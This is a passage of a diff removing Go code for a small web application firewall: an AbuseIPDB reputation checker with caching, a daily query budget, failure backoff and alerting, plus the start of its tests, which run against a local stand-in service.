Alerts *alerts.Queue
|
|
||||||
}
|
|
||||||
|
|
||||||
// AbuseIPDB checks clients with AbuseIPDB, in the background, and keeps
|
|
||||||
// their scores. It is safe for concurrent use.
|
|
||||||
type AbuseIPDB struct {
|
|
||||||
params AbuseIPDBParams
|
|
||||||
httpClient *http.Client
|
|
||||||
|
|
||||||
mu sync.Mutex
|
|
||||||
// scores are by client. Each is added as it is fetched and never moved
|
|
||||||
// up, so that the one fetched longest ago is the first dropped.
|
|
||||||
scores *simplelru.LRU[netip.Prefix, Score]
|
|
||||||
// checking are the clients whose check is under way.
|
|
||||||
checking map[netip.Prefix]bool
|
|
||||||
// day is the day, in UTC, of the checks spent counts.
|
|
||||||
day time.Time
|
|
||||||
spent int
|
|
||||||
// checks and failures count the checks made and those that failed,
|
|
||||||
// and retryAt is when a client may be checked again after the last
|
|
||||||
// check failed.
|
|
||||||
checks int
|
|
||||||
failures int
|
|
||||||
retryAt time.Time
|
|
||||||
}
|
|
||||||
|
|
||||||
// NewAbuseIPDB returns an AbuseIPDB with no score yet, and no check spent.
|
|
||||||
func NewAbuseIPDB(params AbuseIPDBParams) *AbuseIPDB {
|
|
||||||
scores, err := simplelru.NewLRU[netip.Prefix, Score](maxVerdicts, nil)
|
|
||||||
if err != nil {
|
|
||||||
panic(err) // NewLRU fails only for a size below one
|
|
||||||
}
|
|
||||||
|
|
||||||
return &AbuseIPDB{
|
|
||||||
params: params,
|
|
||||||
httpClient: &http.Client{},
|
|
||||||
scores: scores,
|
|
||||||
checking: map[netip.Prefix]bool{},
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Hit returns AbuseIPDB's score of client, an IPv4 address or an IPv6
|
|
||||||
// group, and whether it is a hit: MinScore or more. A score is used until
|
|
||||||
// CacheTTL has passed since it was fetched, whichever of the client's
|
|
||||||
// addresses its request comes from. A client without one is checked in
|
|
||||||
// the background, by addr, the address its request came from, if
|
|
||||||
// offender, if it has committed an offence, unless its check is under
|
|
||||||
// way, a check failed less than failureDelay ago, or the day's checks
|
|
||||||
// have used up DailyBudget; Hit never waits for a check. The check that
|
|
||||||
// uses the budget up is logged and raised as a source_failure alert. ctx
|
|
||||||
// is the context of the client's request, and a check goes on after the
|
|
||||||
// request ends.
|
|
||||||
func (a *AbuseIPDB) Hit(
|
|
||||||
ctx context.Context, client netip.Prefix, addr netip.Addr, offender bool,
|
|
||||||
) (int64, bool) {
|
|
||||||
a.mu.Lock()
|
|
||||||
|
|
||||||
now := a.params.Now()
|
|
||||||
|
|
||||||
kept, found := a.scores.Peek(client)
|
|
||||||
if found && now.Sub(kept.Fetched) < a.params.CacheTTL {
|
|
||||||
a.mu.Unlock()
|
|
||||||
|
|
||||||
return kept.Score, kept.Score >= a.params.MinScore
|
|
||||||
}
|
|
||||||
|
|
||||||
if today := now.Truncate(day); !a.day.Equal(today) {
|
|
||||||
a.day, a.spent = today, 0
|
|
||||||
}
|
|
||||||
|
|
||||||
check := offender && !a.checking[client] && !now.Before(a.retryAt) &&
|
|
||||||
a.spent < a.params.DailyBudget
|
|
||||||
if check {
|
|
||||||
a.checking[client] = true
|
|
||||||
a.checks++
|
|
||||||
a.spent++
|
|
||||||
|
|
||||||
go a.check(context.WithoutCancel(ctx), client, addr)
|
|
||||||
}
|
|
||||||
|
|
||||||
usedUp := check && a.spent == a.params.DailyBudget
|
|
||||||
|
|
||||||
a.mu.Unlock()
|
|
||||||
|
|
||||||
if usedUp {
|
|
||||||
a.alert("the daily budget of AbuseIPDB checks is used up",
|
|
||||||
fmt.Errorf("%d %w", a.params.DailyBudget, errBudgetUsedUp))
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0, false
|
|
||||||
}
|
|
||||||
|
|
||||||
// Checked returns how many checks were made.
|
|
||||||
func (a *AbuseIPDB) Checked() int {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
return a.checks
|
|
||||||
}
|
|
||||||
|
|
||||||
// Failures returns how many checks failed.
|
|
||||||
func (a *AbuseIPDB) Failures() int {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
return a.failures
|
|
||||||
}
|
|
||||||
|
|
||||||
// BudgetLeft returns how many checks the day's budget has left.
|
|
||||||
func (a *AbuseIPDB) BudgetLeft() int {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
if !a.day.Equal(a.params.Now().Truncate(day)) {
|
|
||||||
return a.params.DailyBudget
|
|
||||||
}
|
|
||||||
|
|
||||||
return max(a.params.DailyBudget-a.spent, 0)
|
|
||||||
}
|
|
||||||
|
|
||||||
// Snapshot returns the checks spent and every score still in use, sorted
|
|
||||||
// by client, as reputation.json keeps them.
|
|
||||||
func (a *AbuseIPDB) Snapshot() Checks {
|
|
||||||
a.mu.Lock()
|
|
||||||
|
|
||||||
now := a.params.Now()
|
|
||||||
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
|
|
||||||
|
|
||||||
for _, kept := range a.scores.Values() {
|
|
||||||
if now.Sub(kept.Fetched) < a.params.CacheTTL {
|
|
||||||
checks.Scores = append(checks.Scores, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
a.mu.Unlock()
|
|
||||||
|
|
||||||
slices.SortFunc(checks.Scores, func(x, y Score) int {
|
|
||||||
return x.Client.Compare(y.Client)
|
|
||||||
})
|
|
||||||
|
|
||||||
return checks
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load keeps checks, read from reputation.json, in place of those it
|
|
||||||
// keeps, but for the scores past maxVerdicts, those fetched longest ago.
|
|
||||||
// One fetched CacheTTL ago or more is neither used nor written, as for any
|
|
||||||
// score.
|
|
||||||
func (a *AbuseIPDB) Load(checks Checks) {
|
|
||||||
scores := slices.Clone(checks.Scores)
|
|
||||||
slices.SortStableFunc(scores, func(x, y Score) int {
|
|
||||||
return x.Fetched.Compare(y.Fetched)
|
|
||||||
})
|
|
||||||
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
a.day, a.spent = checks.Day, checks.Spent
|
|
||||||
a.scores.Purge()
|
|
||||||
|
|
||||||
for _, kept := range scores {
|
|
||||||
a.scores.Add(kept.Client, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
|
||||||
// the score as client's, and notes the check as no longer under way. A
|
|
||||||
// check that fails gives no score: it is counted, logged and raised as a
|
|
||||||
// source_failure alert, and no client is checked for failureDelay.
|
|
||||||
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
|
||||||
score, err := a.ask(ctx, addr)
|
|
||||||
now := a.params.Now()
|
|
||||||
|
|
||||||
a.mu.Lock()
|
|
||||||
|
|
||||||
delete(a.checking, client)
|
|
||||||
|
|
||||||
if err == nil {
|
|
||||||
a.scores.Add(client, Score{Client: client, Score: score, Fetched: now})
|
|
||||||
} else {
|
|
||||||
a.failures++
|
|
||||||
a.retryAt = now.Add(failureDelay)
|
|
||||||
}
|
|
||||||
|
|
||||||
a.mu.Unlock()
|
|
||||||
|
|
||||||
if err != nil {
|
|
||||||
a.alert("checking a client with AbuseIPDB failed", err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ask asks AbuseIPDB for addr's abuse confidence score, sending the key
|
|
||||||
// in the header Key. An answer other than 200, one that gives no score,
|
|
||||||
// and none within Timeout, fail.
|
|
||||||
func (a *AbuseIPDB) ask(ctx context.Context, addr netip.Addr) (int64, error) {
|
|
||||||
ctx, cancel := context.WithTimeout(ctx, a.params.Timeout)
|
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
query := url.Values{"ipAddress": {addr.String()}}
|
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(ctx, http.MethodGet,
|
|
||||||
a.params.URL+"?"+query.Encode(), http.NoBody)
|
|
||||||
if err != nil {
|
|
||||||
return 0, fmt.Errorf("make the request: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
req.Header.Set("Key", a.params.Key)
|
|
||||||
req.Header.Set("Accept", "application/json")
|
|
||||||
|
|
||||||
res, err := a.httpClient.Do(req)
|
|
||||||
if err != nil {
|
|
||||||
// Do's error names the URL, which holds the client's address, which
|
|
||||||
// is not to be logged: only what went wrong is kept.
|
|
||||||
return 0, fmt.Errorf("check the client: %w", errors.Unwrap(err))
|
|
||||||
}
|
|
||||||
|
|
||||||
defer func() {
|
|
||||||
_ = res.Body.Close()
|
|
||||||
}()
|
|
||||||
|
|
||||||
if res.StatusCode != http.StatusOK {
|
|
||||||
return 0, fmt.Errorf("%w %s", errStatus, res.Status)
|
|
||||||
}
|
|
||||||
|
|
||||||
var answer struct {
|
|
||||||
Data struct {
|
|
||||||
AbuseConfidenceScore *int64 `json:"abuseConfidenceScore"`
|
|
||||||
} `json:"data"`
|
|
||||||
}
|
|
||||||
|
|
||||||
err = json.NewDecoder(io.LimitReader(res.Body, maxAnswerBytes)).Decode(&answer)
|
|
||||||
if err != nil {
|
|
||||||
return 0, fmt.Errorf("read the answer: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if answer.Data.AbuseConfidenceScore == nil {
|
|
||||||
return 0, errNoScore
|
|
||||||
}
|
|
||||||
|
|
||||||
return *answer.Data.AbuseConfidenceScore, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// alert raises a source_failure alert from AbuseIPDB with reason and err,
|
|
||||||
// and logs them.
|
|
||||||
func (a *AbuseIPDB) alert(reason string, err error) {
|
|
||||||
// Raised before it is logged, so that the alert is there once the log
|
|
||||||
// line is.
|
|
||||||
raiseFailure(a.params.Alerts, reason, AbuseIPDBSource, err)
|
|
||||||
a.params.ProcessLog.Warn(reason, "source", AbuseIPDBSource, "error", err.Error())
|
|
||||||
}
|
|
||||||
@@ -1,663 +0,0 @@
|
|||||||
package reputation_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"encoding/json"
|
|
||||||
"fmt"
|
|
||||||
"io"
|
|
||||||
"log/slog"
|
|
||||||
"net/http"
|
|
||||||
"net/http/httptest"
|
|
||||||
"net/netip"
|
|
||||||
"reflect"
|
|
||||||
"slices"
|
|
||||||
"strings"
|
|
||||||
"sync"
|
|
||||||
"testing"
|
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/metrics"
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/reputation"
|
|
||||||
)
|
|
||||||
|
|
||||||
// The tests of AbuseIPDB run in synctest bubbles, as those of the lists
|
|
||||||
// do, and AbuseIPDB is a stand-in reached without the network, for the
|
|
||||||
// same reason. A bubble's clock starts at midnight UTC, as a day the
|
|
||||||
// checks are counted in starts.
|
|
||||||
|
|
||||||
const (
|
|
||||||
// key is the account's key the tests give, the only one the stand-in
|
|
||||||
// takes.
|
|
||||||
key = "abuseipdb-key-0123456789abcdef"
|
|
||||||
// suspect and other are clients that have committed an offence.
|
|
||||||
suspect = "203.0.113.9"
|
|
||||||
other = "2001:db8::9"
|
|
||||||
)
|
|
||||||
|
|
||||||
func TestOnlyAnOffenderWithoutAScoreIsChecked(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
|
||||||
|
|
||||||
// A client that has committed no offence is not checked.
|
|
||||||
wantScore(t, checker, suspect, false, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB)
|
|
||||||
|
|
||||||
// An offender is, and from then on its score is used, whether or not
|
|
||||||
// it is an offender.
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
|
||||||
wantScore(t, checker, suspect, false, 100, true)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestIPv6ClientIsCheckedOnceAndItsScoreUsedForEachOfItsAddresses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
// 15 addresses of 2001:db8:1:2::/64, one client, each in a part of
|
|
||||||
// it of its own.
|
|
||||||
var addresses []string
|
|
||||||
for i := 1; i < 16; i++ {
|
|
||||||
addresses = append(addresses, fmt.Sprintf("2001:db8:1:2:%x::9", i<<12))
|
|
||||||
}
|
|
||||||
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{addresses[0]: 100}}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
|
||||||
|
|
||||||
// A request from each has the client checked once, by the first.
|
|
||||||
for _, address := range addresses {
|
|
||||||
hitFrom(t, checker, address, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, addresses[0])
|
|
||||||
|
|
||||||
// Its score is the whole client's.
|
|
||||||
for _, address := range addresses {
|
|
||||||
wantScore(t, checker, address, true, 100, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, addresses[0])
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestScoreAtOrOverTheMinimumIsAHit(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
scores := map[string]int64{"192.0.2.74": 74, "192.0.2.75": 75, "192.0.2.100": 100}
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.MinScore = 75
|
|
||||||
checker := newAbuseIPDB(&abuseIPDBStandIn{scores: scores}, p)
|
|
||||||
|
|
||||||
for client := range scores {
|
|
||||||
hitFrom(t, checker, client, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
for client, score := range scores {
|
|
||||||
wantScore(t, checker, client, true, score, score >= 75)
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestScoreUsedUntilTheCacheTTLHasPassedSinceItWasFetched(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, abuseIPDBParams())
|
|
||||||
|
|
||||||
hitFrom(t, checker, suspect, true)
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
// AbuseIPDB gives another score from now on, but the one kept is
|
|
||||||
// used, and the client is not checked again, until the TTL has
|
|
||||||
// passed.
|
|
||||||
abuseIPDB.setScore(suspect, 80)
|
|
||||||
time.Sleep(cacheTTL - time.Nanosecond)
|
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect)
|
|
||||||
|
|
||||||
// Then it is not used, and the client is checked again.
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantScore(t, checker, suspect, true, 80, true)
|
|
||||||
wantChecked(t, abuseIPDB, suspect, suspect)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestDailyBudgetKeptAcrossARestartAndWholeAgainAsTheDayEnds(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
var log bytes.Buffer
|
|
||||||
|
|
||||||
queue := newQueue()
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.DailyBudget = 3
|
|
||||||
p.Alerts = queue
|
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
|
|
||||||
// At noon, the first three offenders spend the budget, and the
|
|
||||||
// fourth, unchecked, is not.
|
|
||||||
time.Sleep(12 * time.Hour)
|
|
||||||
|
|
||||||
const unchecked = "192.0.2.4"
|
|
||||||
|
|
||||||
clients := []string{suspect, "192.0.2.2", "192.0.2.3", unchecked}
|
|
||||||
for _, client := range clients {
|
|
||||||
hitFrom(t, checker, client, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, clients[:3]...)
|
|
||||||
wantBudgetLeft(t, checker, 0)
|
|
||||||
|
|
||||||
// The check that used the budget up raised the alert, and logged it.
|
|
||||||
const usedUp = "the daily budget of AbuseIPDB checks is used up"
|
|
||||||
|
|
||||||
wantFailureAlert(t, queue, time.Now(), usedUp,
|
|
||||||
"3 checks spent; none is made until the day ends at 00:00 UTC", 0)
|
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"`+usedUp+`"`) {
|
|
||||||
t.Errorf("logged\n%s\nwant the budget used up", log.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
// Restarted with what reputation.json keeps, it uses the scores, and
|
|
||||||
// checks no client until the day ends.
|
|
||||||
restarted := &abuseIPDBStandIn{}
|
|
||||||
again := newAbuseIPDB(restarted, p)
|
|
||||||
again.Load(checker.Snapshot())
|
|
||||||
|
|
||||||
wantScore(t, again, suspect, true, 100, true)
|
|
||||||
wantBudgetLeft(t, again, 0)
|
|
||||||
time.Sleep(12*time.Hour - time.Nanosecond)
|
|
||||||
wantScore(t, again, unchecked, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, restarted)
|
|
||||||
|
|
||||||
// At midnight the budget is whole again.
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
wantBudgetLeft(t, again, 3)
|
|
||||||
wantScore(t, again, unchecked, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, restarted, unchecked)
|
|
||||||
wantBudgetLeft(t, again, 2)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestFailedCheckGivesNoScoreAndNoClientIsCheckedForAMinute(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
for _, tc := range []struct {
|
|
||||||
name string
|
|
||||||
// key is the key sent, status and body what AbuseIPDB answers with,
|
|
||||||
// and error the failure.
|
|
||||||
key, body string
|
|
||||||
status int
|
|
||||||
error string
|
|
||||||
}{
|
|
||||||
{
|
|
||||||
"a refusal, past AbuseIPDB's own limit", key,
|
|
||||||
`{"errors":[{"detail":"Daily rate limit of 1000 requests exceeded"}]}`,
|
|
||||||
http.StatusTooManyRequests, "the server answered 429 Too Many Requests",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a refusal of a wrong key", "wrong-key-0123456789abcdef", "", 0,
|
|
||||||
"the server answered 401 Unauthorized",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"a server failure", key, "", http.StatusInternalServerError,
|
|
||||||
"the server answered 500 Internal Server Error",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an answer without a score", key, `{"data":{"ipAddress":"` + suspect + `"}}`,
|
|
||||||
http.StatusOK, "the answer gives no abuseConfidenceScore",
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"an answer that is not JSON", key, "<html>", http.StatusOK,
|
|
||||||
"read the answer: invalid character '<' looking for beginning of value",
|
|
||||||
},
|
|
||||||
} {
|
|
||||||
t.Run(tc.name, func(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
var log bytes.Buffer
|
|
||||||
|
|
||||||
queue := newQueue()
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Key = tc.key
|
|
||||||
p.Alerts = queue
|
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{status: tc.status, body: tc.body}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
|
|
||||||
// The failure gives no score, and no client is checked within a
|
|
||||||
// minute of it.
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
time.Sleep(time.Minute - time.Nanosecond)
|
|
||||||
wantScore(t, checker, other, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect)
|
|
||||||
wantFailures(t, checker, 1)
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
wantScore(t, checker, other, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect, other)
|
|
||||||
wantFailures(t, checker, 2)
|
|
||||||
|
|
||||||
if scores := checker.Snapshot().Scores; len(scores) != 0 {
|
|
||||||
t.Errorf("scores %+v, want none", scores)
|
|
||||||
}
|
|
||||||
|
|
||||||
// One alert for the first failure; the cooldown holds back the
|
|
||||||
// second.
|
|
||||||
wantFailureAlert(t, queue, time.Now().Add(-time.Minute),
|
|
||||||
"checking a client with AbuseIPDB failed", tc.error, 1)
|
|
||||||
|
|
||||||
if !strings.Contains(log.String(), `"msg":"checking a client with `+
|
|
||||||
`AbuseIPDB failed","source":"abuseipdb","error":"`+tc.error) {
|
|
||||||
t.Errorf("logged\n%s\nwant the failures", log.String())
|
|
||||||
}
|
|
||||||
})
|
|
||||||
})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestCheckNotAnsweredWithinTheTimeoutFailsAndHitNeverWaits(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
queue := newQueue()
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Alerts = queue
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{hanging: true}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
began := time.Now()
|
|
||||||
|
|
||||||
// The second, while the first's check is under way, starts none.
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
|
|
||||||
if waited := time.Since(began); waited != 0 {
|
|
||||||
t.Errorf("waited %s for the check, want no wait", waited)
|
|
||||||
}
|
|
||||||
|
|
||||||
time.Sleep(timeout - time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantChecked(t, abuseIPDB, suspect)
|
|
||||||
wantFailures(t, checker, 0)
|
|
||||||
|
|
||||||
time.Sleep(time.Nanosecond)
|
|
||||||
synctest.Wait()
|
|
||||||
wantFailures(t, checker, 1)
|
|
||||||
wantFailureAlert(t, queue, time.Now(), "checking a client with AbuseIPDB failed",
|
|
||||||
"check the client: context deadline exceeded", 0)
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestKeyIsSentInTheKeyHeaderAndNeverShown(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
var log bytes.Buffer
|
|
||||||
|
|
||||||
queue := newQueue()
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Alerts = queue
|
|
||||||
p.ProcessLog = slog.New(slog.NewJSONHandler(&log, nil))
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{scores: map[string]int64{suspect: 100}}
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
m := metrics.New(1, "app")
|
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
|
||||||
m.AddAbuseIPDB(checker)
|
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one it refuses with an answer
|
|
||||||
// that names the key.
|
|
||||||
wantScore(t, checker, suspect, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantScore(t, checker, suspect, true, 100, true)
|
|
||||||
|
|
||||||
abuseIPDB.answerWith(http.StatusUnauthorized, `{"errors":[{"detail":"`+key+`"}]}`)
|
|
||||||
wantScore(t, checker, other, true, 0, false)
|
|
||||||
synctest.Wait()
|
|
||||||
wantFailures(t, checker, 1)
|
|
||||||
|
|
||||||
abuseIPDB.mu.Lock()
|
|
||||||
sent := slices.Clone(abuseIPDB.keys)
|
|
||||||
abuseIPDB.mu.Unlock()
|
|
||||||
|
|
||||||
if !slices.Equal(sent, []string{key, key}) {
|
|
||||||
t.Errorf("checks sent the keys %v, want %s twice", sent, key)
|
|
||||||
}
|
|
||||||
|
|
||||||
alerted, err := json.Marshal(waiting(queue))
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("encode the alerts: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
kept, err := json.Marshal(checker.Snapshot())
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("encode the checks: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
for name, shown := range map[string]string{
|
|
||||||
"the log": log.String(), "the alerts": string(alerted),
|
|
||||||
"the metrics": scrapeMetrics(t, m), "reputation.json": string(kept),
|
|
||||||
} {
|
|
||||||
if strings.Contains(shown, key) {
|
|
||||||
t.Errorf("%s shows the key:\n%s", name, shown)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestMetricsCountTheChecksTheFailuresAndTheBudgetLeft(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
abuseIPDB := &abuseIPDBStandIn{}
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.DailyBudget = 5
|
|
||||||
checker := newAbuseIPDB(abuseIPDB, p)
|
|
||||||
m := metrics.New(1, "app")
|
|
||||||
m.AddReputation(reputation.New(params()), reputation.NewDNSBL(dnsblParams()))
|
|
||||||
m.AddAbuseIPDB(checker)
|
|
||||||
|
|
||||||
// One check that AbuseIPDB answers, and one that fails.
|
|
||||||
hitFrom(t, checker, suspect, true)
|
|
||||||
synctest.Wait()
|
|
||||||
abuseIPDB.answerWith(http.StatusInternalServerError, "")
|
|
||||||
hitFrom(t, checker, other, true)
|
|
||||||
synctest.Wait()
|
|
||||||
|
|
||||||
scraped := scrapeMetrics(t, m)
|
|
||||||
|
|
||||||
for series, want := range map[string]string{
|
|
||||||
"queries_total": "2",
|
|
||||||
"failures_total": "1",
|
|
||||||
"daily_budget_remaining": "3",
|
|
||||||
} {
|
|
||||||
line := "\nsmallwebwaf_reputation_" + series +
|
|
||||||
`{instance="app",source="abuseipdb"} ` + want + "\n"
|
|
||||||
if !strings.Contains(scraped, line) {
|
|
||||||
t.Errorf("metrics\n%s\nwant%s", scraped, line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestScoreFetchedATTLAgoIsNeitherUsedNorKept(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Now = func() time.Time { return now }
|
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
|
||||||
|
|
||||||
// The last score still in use, and one, of other's /64, fetched a TTL
|
|
||||||
// ago.
|
|
||||||
inUse := reputation.Score{
|
|
||||||
Client: netip.MustParsePrefix(suspect + "/32"), Score: 100,
|
|
||||||
Fetched: now.Add(-cacheTTL + time.Nanosecond),
|
|
||||||
}
|
|
||||||
stale := reputation.Score{
|
|
||||||
Client: netip.MustParsePrefix("2001:db8::/64"), Score: 100,
|
|
||||||
Fetched: now.Add(-cacheTTL),
|
|
||||||
}
|
|
||||||
|
|
||||||
checker.Load(reputation.Checks{Scores: []reputation.Score{stale, inUse}})
|
|
||||||
|
|
||||||
wantScore(t, checker, suspect, false, 100, true)
|
|
||||||
wantScore(t, checker, other, false, 0, false)
|
|
||||||
|
|
||||||
got := checker.Snapshot().Scores
|
|
||||||
if !reflect.DeepEqual(got, []reputation.Score{inUse}) {
|
|
||||||
t.Errorf("scores %+v, want only %+v", got, inUse)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestAtMost100000ScoresKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
now := time.Date(2026, 10, 7, 0, 0, 0, 0, time.UTC)
|
|
||||||
p := abuseIPDBParams()
|
|
||||||
p.Now = func() time.Time { return now }
|
|
||||||
checker := reputation.NewAbuseIPDB(p)
|
|
||||||
|
|
||||||
// 100,001 scores, listed by client, as reputation.json lists them, each
|
|
||||||
// fetched a millisecond before the one before it: the last is one too
|
|
||||||
// many.
|
|
||||||
const count = 100001
|
|
||||||
|
|
||||||
scores := make([]reputation.Score, 0, count)
|
|
||||||
|
|
||||||
addr := netip.MustParseAddr("198.18.0.0")
|
|
||||||
for i := range count {
|
|
||||||
scores = append(scores, reputation.Score{
|
|
||||||
Client: netip.PrefixFrom(addr, 32),
|
|
||||||
Fetched: now.Add(-time.Duration(i) * time.Millisecond),
|
|
||||||
})
|
|
||||||
